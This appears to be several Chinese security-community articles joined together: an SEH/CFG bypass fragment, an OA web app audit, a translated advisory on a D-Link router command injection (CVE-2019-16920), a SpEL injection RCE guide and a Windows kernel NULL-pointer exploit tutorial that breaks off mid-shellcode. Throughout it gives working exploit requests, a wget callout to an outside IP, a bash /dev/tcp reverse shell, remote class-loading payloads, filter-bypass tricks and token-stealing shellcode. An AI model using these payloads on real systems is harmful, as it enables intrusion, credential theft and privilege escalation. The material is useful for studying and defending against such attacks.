找到了最后一个异常处理的函数指针。然后可以进行第二步泄露了，现在我们能看到来自jscript9的异常处理，因此它的函数指针一定位于PE代码段中，能从DLL的PE头中找到这些地址：
现在有了这个，上下搜索栈，能看到栈的所有内容。算法如下：
如果一个DWORD小于0x10000000，它不在jscript9.dll中，因此移到下一个DWORD。
如果大于0x10000000，检查是否在jscript9.dll的代码段中
如果在，则栈上的4字节DWORD是指向栈的指针
如果上面两步正确，我们可能找到了SEH，因此我们尝试校验是否以最后一个异常处理结尾
如果指针中的某个不在指向栈，或者超过8个引用，它不是SEH链
在我的测试中，第一次指向jscript9.dll的指针，其中的DWORD是一个栈指针，它是SEH链，算法如下：
有了这个算法，意味着精确覆盖SEH记录是可能的，并且不会中断下一个异常处理，因此绕过SEHOP。
最后，触发异常，获得可控制的指令指针：
运行结果如下：
上图展示了调试器捕捉到的异常，并且用我们想要的0x42424242覆盖成功。这阐述了这个技术如何绕过CFG获得执行控制。它同样也能绕过RFG的实现。代码在[github](https://github.com/MortenSchenk/Bypassing_CFG_SEH)中。 | 社区文章 |
## 一、前言
之前学的时候练手，于是在网上随便找了套老oa拿过来审着玩。
## 二、环境搭建
此oa官网提供安装包下载，下载以后一路默认安装，会给你自动装好tomcat、java、mysql启动web。
这是安装完的目录结构，看了一下oa目录为web目录
将此目录导入idea，将WEB-INF/classes和lib目录添加为库
然后就可以开始代码审计了
## 三、代码审计
### 1.前台任意文件读取
搜关键词，看到public/getfile.jsp这个文件
这边先判断传入的user参数是否为空，为空的话就去判断用户是否登录。所以这里随便给他赋一个值就行。
然后接受三个参数filename，extname，prop
下面这里判断了prop是否等于activex，不等于则会去调用系统默认配置的路径。这里我们就给他传入activex
filepath就会等于web路径+activex+filename+extname，然后最终去读filepath这个文件。
所以filename和extname这两个参数我们可以控制。构造请求前台任意文件读取一个。
GET /oa/public/getfile.jsp?user=1&prop=activex&filename=../public/getfile&extname=jsp HTTP/1.1
Host: 192.168.222.129:8088
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,fil;q=0.8
Connection: close
B哥和我说不是前台RCE的洞都不是洞，我也这么觉得。于是想着这个任意文件读取能不能做点什么东西。想到可以去读取mysql的ibdata1文件，此文件里会存有数据库内容信息。构造payload
http://192.168.222.129:8088/oa/public/getfile.jsp?user=1&prop=activex&filename=../../mysql5.1.46/data/ibdata1&extname=
使用utf-8打开文件，使用正则搜索
admin([a-f\d]{32}|[A-F\d]{32})
搜到最后一个，后面的明文就是admin的密码（因为这个oa数据库里密码的md5和明文都存了）
### 2.后台getshell
拿到admin密码以后就只需要找一个后台任意文件上传了。
黑盒渗透搞多了，直接登进去看看功能。
发现有一个网盘功能。
我们先正常上传看看。
点重命名发现可以重命名为jsp后缀
目录为upfile\file_netdisk\admin\1z.jsp
上传一个shell测试成功。 | 社区文章 |
# 分析多款D-Link路由器中的未授权RCE漏洞
|
##### 译文声明
本文是翻译文章，文章原作者 Thanh Nguyen Nguyen，文章来源：https://www.fortinet.com
原文地址：<https://www.fortinet.com/blog/threat-research/d-link-routers-found-vulnerable-rce.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
2019年9月，Fortinet的FortiGuard Labs发现并向官方反馈了D-Link产品中存在的一个未授权命令注入漏洞（[FG-VD-19-117](https://fortiguard.com/zeroday/FG-VD-19-117)/[CVE-2019-16920](https://nvd.nist.gov/vuln/detail/CVE-2019-16920)），成功利用该漏洞后，攻击者可以在设备上实现远程代码执行（RCE）。由于攻击者无需通过身份认证就能远程触发该漏洞，因此我们将该漏洞标记为高危级别漏洞。
根据我们的测试，搭载最新版固件的如下D-Link产品存在该漏洞：
* DIR-655
* DIR-866L
* DIR-652
* DHP-1565
在本文撰写时，这些产品已超出产品支持生命周期（EOL），这意味着厂商不会再为我们发现的问题提供补丁。FortiGuard
Labs在此感谢厂商的快速响应，建议用户尽快升级到新的设备。
## 0x01 漏洞细节
设备首先是没有采用正确的身份认证流程，这也是漏洞利用的基础。为了分析该漏洞，我们可以打开路由器管理页面（使用`admin`用户名），然后尝试登录。
POST /apply_sec.cgi HTTP/1.1
Host: 192.168.232.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 142
Connection: close
Referer: http://192.168.232.128/
Upgrade-Insecure-Requests: 1
html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&
graph_code=&session_id=62384
登录操作由`/apply_sec.cgi`
URI负责处理。快速搜索后，我们发现`apply_sec.cgi`代码位于`/www/cgi/ssi`程序的`do_ssc`函数中（`0x40a210`）。
`current_user`和`user_username`的值来自于`nvram`：
图1. `do_ssc`代码片段
该函数随后会将`current_user`的值与`acStack160`变量作比较。
只有用户成功登录后，设备才会设置`nvram`中的`current_user`值，因此默认情况下，这个值并没有被初始化。`acStack160`的值为`base64encode(user_username)`的返回值，默认情况下`user_username`的值为`user`，因此`iVar2`的值不等于`0`，设备不会返回`error.asp`页面。
图2. `do_ssc`代码片段
在`do-while`循环代码中，设备会调用`put_querystring_env()`函数来解析HTTP
POST请求，将相应值保存到`ENV`中。接下来，该函数会调用`query_vars(“action”, acStack288, 0x80)`。
图3. `query_vars`函数代码片段
该函数会提供`action`对应的值，保存到`ENV`中的`acStack288`变量。如果执行成功，该函数会返回`0`。
当`iVar2`等于`0`时，代码进入`if`条件分支，将URI值与`/apply_sec.cgi`作比较。如果满足条件，则`ppcVar3`指向`SSC_SEC_OBJS`数组，否则指向的是`SSC_OBJS`数组。
图4. `do_ssc`代码片段
现在`ppcVar3`指向的是`SSC_SEC_OBJS`数组，该数组包含一系列`action`值。如果我们输入不在该列表中的一个值，程序会返回`LAB_0040a458`，输出“No
OBJS for action: <action input>”错误信息。
图5. `do_ssc`中的错误信息
我们可以在图2中看到错误的身份认证过程。即使我们没通过认证，代码仍会继续执行，这意味着我们可以通过`/apply_sec.cgi`路径，执行`SSC_SEC_OBJS`中的任意`action`操作。
那么`SSC_SEC_OBJS` `action`数组的具体位置在哪？该数组位于`init_plugin()`函数的`register`中：
图6. `init_plugin`代码片段
如果我们跳转到`0x0051d89c`地址处，将这些变量值转换为`word`类型，可以看到如下数组：
图7. `0x0051d89C`地址
其中有一个`action`引起了我们的注意：
图8. `ping_test`字符串以及对应的`action`地址
找到`sub_41A010`，该函数从`ping_ipaddr`参数中提取输入值，通过`inet_aton()`、`inet_ntoa()`函数进行转换，然后执行ping操作。
图9. `sub_41A010`代码片段
如果尝试输入特殊字符（比如双引号、单引号、分号等），ping操作会执行失败。幸运的是，如果我们传入换行符（比如`8.8.8.8%0als`），就可以实现命令注入攻击效果。
POST /apply_sec.cgi HTTP/1.1
Host: 192.168.232.128
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
Connection: close
Referer: http://192.168.232.128/login_pic.asp
Cookie: uid=1234123
Upgrade-Insecure-Requests: 1
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://45.76.148.31:4321/?$(echo 1234)
这里我们向`apply_sec.cgi`发起POST
HTTP请求，执行的`action`为`ping_test`，然后通过`ping_ipaddr`参数实现命令注入。虽然路由器返回的是登录页面，但`ping_test`操作实际上已经成功执行：`ping_ipaddr`参数值可以在路由器上执行`echo
1234`命令，然后将结果返回给我们的服务器。
图10. 成功利用漏洞
此时，攻击者可以获取管理员密码，或者将自己的后门安装到目标设备中。
## 0x02 时间线
2019年9月22日：FortiGuard实验室向D-Link报告该漏洞。
2019年9月23日：D-Link确认该漏洞
2019年9月25日：D-Link确认这些产品已超出服务周期（EOL）
2019年10月3日：我们公布漏洞细节并发布安全公告
## 0x03 总结
该漏洞的根源在于设备没有对原生系统所执行的命令进行检查，这也是许多固件厂商经常存在的一种安全隐患。
有多款D-Link设备受该漏洞影响（[CVE-2019-16920](https://nvd.nist.gov/vuln/detail/CVE-2019-16920)），FortiGuard
Labs将该漏洞标注为高危等级漏洞。根据厂商[描述](https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10124)，这些设备已超出服务周期（EOL），因此我们建议D-Link用户应当立即升级到最新产品。 | 社区文章 |
## 前言
研究了一下SpEL注入RCE分析以及技巧，做了总结拿来分享一下，抛砖引玉。
## SpEL注入基础
### SpEL简介
Spring表达式语言（简称 **SpEL** ，全称 **Spring Expression Language**
）是一种功能强大的表达式语言，支持在运行时查询和操作对象图。它语法类似于OGNL，MVEL和JBoss
EL，在方法调用和基本的字符串模板提供了极大地便利，也开发减轻了Java代码量。另外 ,
SpEL是Spring产品组合中表达评估的基础，但它并不直接与Spring绑定,可以独立使用。
### 基本用法:
SpEL调用流程 : 1.新建解析器 2.解析表达式 3.注册变量(可省,在取值之前注册) 4.取值
示例1:不注册新变量的用法
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression("'Hello World'.concat('!')");//解析表达式
System.out.println( exp.getValue() );//取值，Hello World！
示例2:自定义注册加载变量的用法
public class Spel {
public String name = "何止";
public static void main(String[] args) {
Spel user = new Spel();
StandardEvaluationContext context=new StandardEvaluationContext();
context.setVariable("user",user);//通过StandardEvaluationContext注册自定义变量
SpelExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression expression = parser.parseExpression("#user.name");//解析表达式
System.out.println( expression.getValue(context).toString() );//取值,输出何止
}
}
了解了基本用法之后，我们可以通过创建实例，调用方法先构造几个rce的payload
**会用到的语法**
spel语法中的`T()`操作符 , `T()`操作符会返回一个object , 它可以帮助我们获取某个类的静态方法 ,
用法`T(全限定类名).方法名()`，后面会用得到
spel中的`#`操作符可以用于标记对象
## RCE第一部分
第一部分就是最基础的思路 : 新建实例 , 调用命令执行方法
### 01 : 调用ProcessBuilder
java代码
String[] str = new String[]{"open","/System/Applications/Calculator.app"};
ProcessBuilder p = new ProcessBuilder( str );
p.start();//打开计算器
spel中也可以使用new来构造，写法几乎一样，我们可以把表达式简化为一行
new java.lang.ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()
完整的执行代码
String cmdStr = "new java.lang.ProcessBuilder(new String[]{\"open\",\"/System/Applications/Calculator.app\"}).start()";
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
当然java.lang包下的类无需使用全限定类名,故表达式可简化来bypass
new ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()
### 02 : 调用RunTime
java调用，由于Runtime类使用了单例模式-饿汉式，需要调用Runtime的静态方法得到Runtime实例
Runtime rt = Runtime.getRuntime();//
rt.exec(new String[]{"open","/System/Applications/Calculator.app"});
和上个用法略有不同解释在payload后给出
使用string参数 (java.lang包下的类不需要加全限定类名)
T(java.lang.Runtime).getRuntime().exec("open /System/Applications/Calculator.app")
字符串数组方法调用
T(Runtime).getRuntime().exec(new String[]{"open","/System/Applications/Calculator.app"})
解释: 由于`RunTime类`使用了单例模式 ,获取对象的话不能直接通过构造方法获得,必须通过静态方法`getRuntime`来获得 , 其源码可参考下图
, 调用静态方法的话需要使用SpEL的`T()`操作符,`T()`操作符会返回一个object.
### 03 : 调用ScriptEngine
从 **ruilin** 师傅的文章学到还可以用js引擎(不知道能不能用颜文字或者其他js绕过的方法到这里，暂时没实验成功，测试成的师傅可以分享下).
获取所有js引擎信息
public static void main(String[] args) {
ScriptEngineManager manager = new ScriptEngineManager();
List<ScriptEngineFactory> factories = manager.getEngineFactories();
for (ScriptEngineFactory factory: factories){
System.out.printf(
"Name: %s%n" + "Version: %s%n" + "Language name: %s%n" +
"Language version: %s%n" +
"Extensions: %s%n" +
"Mime types: %s%n" +
"Names: %s%n",
factory.getEngineName(),
factory.getEngineVersion(),
factory.getLanguageName(),
factory.getLanguageVersion(),
factory.getExtensions(),
factory.getMimeTypes(),
factory.getNames()
);
}
}
> Name: Oracle Nashorn
> Version: 1.8.0_261
> Language name: ECMAScript
> Language version: ECMA - 262 Edition 5.1
> Extensions: [js]
> Mime types: [application/javascript, application/ecmascript,
> text/javascript, text/ecmascript]
> **Names: [nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript,
> ecmascript]**
通过结果中的Names，我们知道了所有的js引擎名称故getEngineByName的参数可以填`[nashorn, Nashorn, js, JS,
JavaScript, javascript, ECMAScript, ecmascript]`,举个例子:
ScriptEngineManager sem = new ScriptEngineManager();
ScriptEngine engine = sem.getEngineByName("nashorn");
System.out.println(engine.eval("2+1"));
那么payload也就显而易见
`nashorn`
new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")
`javascript`
new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")
OK基础的第一部分到此结束
## RCE第二部分
下面开始第二部分 , 思路 : 反射构造RCE ，下面反射中用到的类包括但不限于上述部分
首先简单介绍反射 :
JAVA反射机制是在运行状态中，对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意方法和属性；这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制
然后简单介绍ClassLoader :
JVM(java虚拟机) 拥有多种ClassLoader, 不同的 ClassLoader 会从不同的地方加载字节码文件,
加载方式可以通过不同的文件目录加载, 也可以从不同的 jar 文件加载，还包括使用网络服务地址来加载。几个重要的 ClassLoader :
`BootstrapClassLoader`、`ExtensionClassLoader`
和`AppClassLoader`、`UrlClassLoader`
下面构造会用到`AppClassLoader`和`UrlClassLoader`
### 04 : UrlClassLoader
> URLClassLoader 可以加载远程类库和本地路径的类库
调用思路 : 远程加载class文件，通过函数调用或者静态代码块来调用
先构造一份Exp.jar , 放到远程vps即可
一份通过构造方法反弹shell的Exp.java实例
public class Exp{
public Exp(String address){
address = address.replace(":","/");
ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done");
try {
p.start();
} catch (IOException e) {
e.printStackTrace();
}
}
}
起一个http服务示例
python -m SimpleHTTPServer 8990
Payload
注意必须使用全限定类名 , 或许这个可以过一些bypass
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8999/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("127.0.0.1:2333")
### 05 : AppClassLoader
> AppClassLoader 直接面向用户,它会加载 Classpath 环境变量里定义的路径中的 jar 包和目录
>
> 由于双亲委派的存在,它可以加载到我们想要的类
使用的前提是获取 , 获取AppClassLoader可以通过ClassLoader类的静态方法 **getSystemClassLoader**
System.out.println(ClassLoader.getSystemClassLoader());
* 加载Runtime执行
由于需要调用到静态方法所以还是要用到`T()`操作
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open /System/Applications/Calculator.app")
* 加载ProcessBuilder执行
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"open","/System/Applications/Calculator.app"}).start()
### 06: 通过其他类获取AppClassLoader
这里我新开一个标题原因是在实际的web项目开发者会导入很多依赖的jar，或编写自定义类
**实例1:**
使用spel的话一定存在名为org.springframework的包，这个包下有许许多多的类，而这些类的classloader就是app
比如:org.springframework.expression.Expression类
System.out.println( org.springframework.expression.Expression.class.getClassLoader() );
那么很容易就可以得到一个获取AppClassLoader的方法 ,
T(org.springframework.expression.Expression).getClass().getClassLoader()
假设使用thyemleaf的话会有org.thymeleaf.context.AbstractEngineContext:
T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()
假设有一个自定义的类那么可以:
T(com.ctf.controller.Demo).getClass().getClassLoader()
类比较多，不过多叙述
### 07: 通过内置对象加载UrlClassLoader
这里在[0c0c0f](https://mp.weixin.qq.com/s?__biz=MzAwMzI0MTMwOQ==&idx=1&mid=2650174018&sn=94cd324370afc2024346f7c508ff77dd
"0c0c0f")18年的一个文章学到了两个poc，部分截图如下
{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch/tmp/foobar\")}
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
request、response对象是web项目的常客,通过第一个poc测试发现在web项目如果引入了spel的依赖，那么这两个对象会自动被注册进去。
像这样，会发现它调用的是UrlClassLoader
第二个poc则是使用了`this`关键字来加载也很是巧妙
也可以获取UrlClassLoader
### 08: 字符串 bypass
引号被过滤不可以直接使用字符串，这里提供三种构造字符串的方法
1.`T(类名).getName()`会返回字符串类型的全限定类名
比如:`[[${T(String).getName()}]]`结果为java.lang.String
然后我们就可以使用角标来构造我们想要的字符串
[[${T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,51)+T(String).getName()[0].replace(106,122)+T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,49)}]]
#回显h3zh1
2.使用Character类构造字符串
[[${T(Character).toString(104)+T(Character).toString(51)+T(Character).toString(122)+T(Character).toString(104)+T(Character).toString(49)}]]
3.外部可控字符绕过
通过web请求构造字符串,request有很多方法返回值为String也有String[]用来给getMethod或者getDeclaredMethod的方法定制参数
**post方法构造字符串**
#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,51)%2b#request.getMethod().substring(0,1).replace(80,122)%2b#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,49)
**get方法构造字符串**
#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,51)%2b#request.getMethod().substring(0,1).replace(71,122)%2b#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,49)
**外部的cookie绕过**
`[[${#request.getRequestedSessionId()}]]`
**参考 :**
Ruilin 由浅入深SpEL表达式注入漏洞 : <http://rui0.cn/archives/1043>
EL : <https://www.runoob.com/jsp/jsp-expression-language.html>
SpEL : <https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#expressions>
SpringSpel注入漏洞利用 :
[https://mp.weixin.qq.com/s?__biz=MzAwMzI0MTMwOQ==&idx=1&mid=2650174018&sn=94cd324370afc2024346f7c508ff77dd](https://mp.weixin.qq.com/s?__biz=MzAwMzI0MTMwOQ==&idx=1&mid=2650174018&sn=94cd324370afc2024346f7c508ff77dd)
DDCTF-2020-WEB-WriteUp : <https://l3yx.github.io/2020/09/04/DDCTF-2020-WEB-WriteUp/> | 社区文章 |
# Windows 10内核驱动漏洞利用：空指针引用
|
##### 译文声明
本文是翻译文章，文章原作者 XPN，文章来源：xpnsec.com
原文地址：<https://blog.xpnsec.com/hevd-null-pointer/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在这一系列文章中，我们通过HackSys团队提供的HEVD驱动程序，来探索内核驱动程序的漏洞利用方式。
这一次，我们将关注空指针引用（NULL pointer
dereferences，其中dereference一词是指取指针指向的对象的值，请大家务必理解这个名词，并不是常规意义上的引用），并演示如何在Windows
7 x64和Windows 10 x32上利用这类漏洞。
空指针引用错误正在逐渐成为现代操作系统上漏洞利用的一个难题。由于Windows
8以及更高版本中，用户模式进程无法使用NULL页，所以看起来，此类漏洞已经被缓解。
然而，我们知道，Windows 7仍然是很多人都在使用的流行的操作系统。并且，由于向后兼容性，Windows 10的32位版本存在一个弱点。
为了展现在这些操作系统上漏洞利用的一些细微差别，我们会尝试进行两次漏洞攻击，目的是实现对SYSTEM用户的权限提升。
## 实验环境配置
在本教程中，我们将在实验环境中部署3个虚拟机：调试虚拟机、Windows 7 x64虚拟机、Windows 10 x32虚拟机。
如果您还没有阅读本系列的第一篇文章，我强烈建议您先进行阅读：<https://blog.xpnsec.com/hevd-stack-overflow/>
，这篇文章中详细讲解了如何设置环境以及如何将内核调试程序连接到Windows 10虚拟机的详细方法。
在这篇文章中，还讲解了如何在VirtualBox中设置一个用于内核调试的Windows 7主机。如果您还有印象的话，我们以前曾经使用过Windows
10内核调试器的NET选项，但在早期版本中并不支持这一功能。因此，我们将恢复使用虚拟串行端口（Virtual Serial Port）。
首先，在您的Windows 7虚拟主机的设置中，选择“端口”，并确保已经启用串行端口。作为macOS用户，我被要求提供一个命名管道（Named
Pipe）的路径，在不同操作系统上可能会有所不同。
选择“连接到现有管道/Socket”选项非常重要，它将会允许虚拟串行端口在需要时建立与内核调试器VM的连接。
接下来，在我们的调试虚拟机上，需要进行一个类似的配置，提供相同的命名管道路径，但这次我们要确保不选择“连接到现有管道/Socket”选项。
现在，在您的调试主机上，设置WinDBG通过COM端口连接：
在Windows 7主机上，在管理员权限命令提示符中输入以下内容：
bcdedit /debug on bcdedit /dbgsettings SERIAL
重新启动Windows 7主机，WinDBG就可以正常使用了。
现在我们已经完成了虚拟机的设置，接下来就让我们来研究这个漏洞。
## 漏洞分析
与我们的HEVD步骤的第一部分类似，首先我们回顾一下即将要实现的功能的源代码，在此例中是TriggerNullPointerDereference。
该函数首先在栈中分配一些变量：
NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) { ULONG UserValue = 0; ULONG MagicValue = 0xBAD0B0B0; NTSTATUS Status = STATUS_SUCCESS; PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;
NullPointerDereference变量是一个指向分配的内存块的指针：
// Allocate Pool chunk
NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
ExAllocatePoolWithTag(NonPagedPool,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)POOL_TAG);
一旦分配完成，我们的DeviceloControl输入缓冲区就会被处理，并从内存读取ULONG并存储在UserValue变量中：
// Get the value from user mode UserValue = *(PULONG)UserBuffer;
然后，使用if语句来验证用户模式应用程序传递的值实际上是否设置为MagicValue。如果未设置，则释放先前分配的内存：
// Validate the magic value
if (UserValue == MagicValue) {
...
}
else {
DbgPrint("[+] Freeing NullPointerDereference Objectn");
DbgPrint("[+] Pool Tag: %sn", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%pn", NullPointerDereference);
// Free the allocated Pool chunk
ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
// Set to NULL to avoid dangling pointer
NullPointerDereference = NULL;
}
最后，我们发现NullPointerDereference变量被用来调用一个函数指针：
DbgPrint("[+] Triggering Null Pointer Dereferencen");
// Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
// because the developer is not validating if 'NullPointerDereference' is NULL
// before calling the callback function
NullPointerDereference->Callback();
这就意味着，由于在使用前缺少对NullPointerDereference变量的检查，因此就存在空指针引用漏洞。如果应用程序触发一个DeviceloControl调用，传递一个与MagicValue不匹配的值，然后再NULL处提供一个函数指针（偏移量为0x4或0x8，我们稍后会提及），就能够被利用。
然而，在许多现代操作系统中，NULL页不再可用，这就意味着这样的漏洞会更难以利用。
接下来，我们将开始介绍如何在Windows 7上利用这类漏洞，我们知道Windows 7不受NULL页保护。
## Windows 7漏洞利用
Windows 7为攻击者提供了一个选项，通过ZwAllocateVirtualMemory的API调用来映射NULL页，其具有以下签名：
NTSTATUS ZwAllocateVirtualMemory(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);
我们特别感兴趣的是BaseAddress参数：
“该参数是指向一个变量的指针，该变量会接收分配的页面区域的基地址。如果此参数的初始值非NULL，则从指定的虚拟地址开始分配区域，并向下舍入到下一个主机页大小的地址边界。如果此参数的初始值为NULL，则操作系统将会确定分配区域的位置。”
这意味着，如果我们请求1h的BaseAddress，NULL页将被映射到进程地址空间中，可以任意使用。这是我们用来捕获尝试访问NULL地址的过程。
现在，我们知道可以去触发一个空指针引用，而且我们也知道下面的调用负责一个回调函数的调用：
NullPointerDereference->Callback();
接下来，我们迅速查看与NullPointerDereference变量关联的类型，可以发现能在64位系统上偏移量0x8处找到Callback属性：
typedef struct _NULL_POINTER_DEREFERENCE {
ULONG Value;
FunctionPointer Callback;
} NULL_POINTER_DEREFERENCE, *PNULL_POINTER_DEREFERENCE;
因此，我们利用该漏洞，在NULL页分配内存，并在地址8h处设置一个指向我们Shellcode的指针（我们现在只使用一个cc
Int-3d断点作为Shellcode），如下所示：
// Get a pointer to the internal ZwAllocateVirtualMemory call
typedef NTSTATUS (* WINAPI ZwAllocateVirtualMemory)(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);
ZwAllocateVirtualMemory _ZwAllocateVirtualMemory = (ZwAllocateVirtualMemory)GetProcAddress(LoadLibraryA("ntdll.dll"), "ZwAllocateVirtualMemory");
// Map the NULL page into our process address space
PVOID memAddr = (PVOID)1;
SIZE_T regionSize = 4096;
NTSTATUS alloc = _ZwAllocateVirtualMemory(
GetCurrentProcess(),
&memAddr,
0,
®ionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// Add our breakpoint shellcode
memset((void*)0x100, 'xcc', 0x100);
// Set the Callback() address
*(unsigned long long*)0x8 = 0x100;
为了与驱动程序交互，并触发漏洞，我们将使用与此前文章中类似的一组调用：
HANDLE driverHandle = CreateFileA(
"\\.\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
char exploit[1024];
memset(exploit, 'A', sizeof(exploit));
DeviceIoControl(
driverHandle,
HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
exploit,
sizeof(exploit),
NULL,
0,
NULL,
NULL
);
编译后运行，我们得到如下结果：
非常棒，目前我们已经控制了rip地址。在这个阶段，我们希望使用此前文章中的Shellcode，并且得到我们的SYSTEM
Shell。然而请注意，我们以前的Shell是为Windows 10开发的，而现在正在对Win
7进行漏洞利用的尝试，因此我们需要调整Shellcode的偏移量，以匹配早期的Windows版本。
最简单的方法是在WinDBG中使用dt命令，例如：
dt nt!_KPRCB
在所有的偏移量都更新之后，得到的Shellcode如下：
[BITS 64]
push rax
push rbx
push rcx
push rsi
push rdi
mov rax, [gs:0x180 + 0x8] ; Get 'CurrentThread' from KPRCB
mov rax, [rax + 0x210] ; Get 'Process' property from current thread
next_process:
cmp dword [rax + 0x180], 0x41414141 ; Search for 'cmd.exe' process ('AAAA' replaced by exploit)
je found_cmd_process
mov rax, [rax + 0x188] ; If not found, go to next process
sub rax, 0x188
jmp next_process
found_cmd_process:
mov rbx, rax ; Save our cmd.exe EPROCESS for later
find_system_process:
cmp dword [rax + 0x180], 0x00000004 ; Search for PID 4 (System process)
je found_system_process
mov rax, [rax + 0x188]
sub rax, 0x188
jmp find_system_process
found_system_process:
mov rcx, [rax + 0x208] ; Take TOKEN from System process
mov [rbx+0x208], rcx ; And copy it to the cmd.exe process
pop rdi
pop rsi
pop rcx
pop rbx
pop rax
剩下要做的，就是产生一个新的cmd.exe进程，并更新我们的Shellcode来搜索正确的进程PID：
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
si.cb = sizeof(STARTUPINFOA);
if (!CreateProcessA(
NULL,
(LPSTR)"cmd.exe",
NULL,
NULL,
true,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi
)) {
printf("[!] FATAL: Error spawning cmd.exen");
return 0;
}
*(DWORD *)((char *)shellcode + 27) = pi.dwProcessId;
接下来，将我们的Shellcode复制0x100，准备好被调用：
memcpy((void*)0x100, shellcode, sizeof(shellcode));
结合之后，我们最终的漏洞利用代码如下：
#include "stdafx.h"
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
typedef NTSTATUS(*WINAPI ZwAllocateVirtualMemory)(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);
char shellcode[256] = {
0x50, 0x53, 0x51, 0x56, 0x57, 0x65, 0x48, 0x8b, 0x04, 0x25,
0x88, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x80, 0x10, 0x02, 0x00,
0x00, 0x81, 0xb8, 0x80, 0x01, 0x00, 0x00, 0x41, 0x41, 0x41,
0x41, 0x74, 0x0f, 0x48, 0x8b, 0x80, 0x88, 0x01, 0x00, 0x00,
0x48, 0x2d, 0x88, 0x01, 0x00, 0x00, 0xeb, 0xe5, 0x48, 0x89,
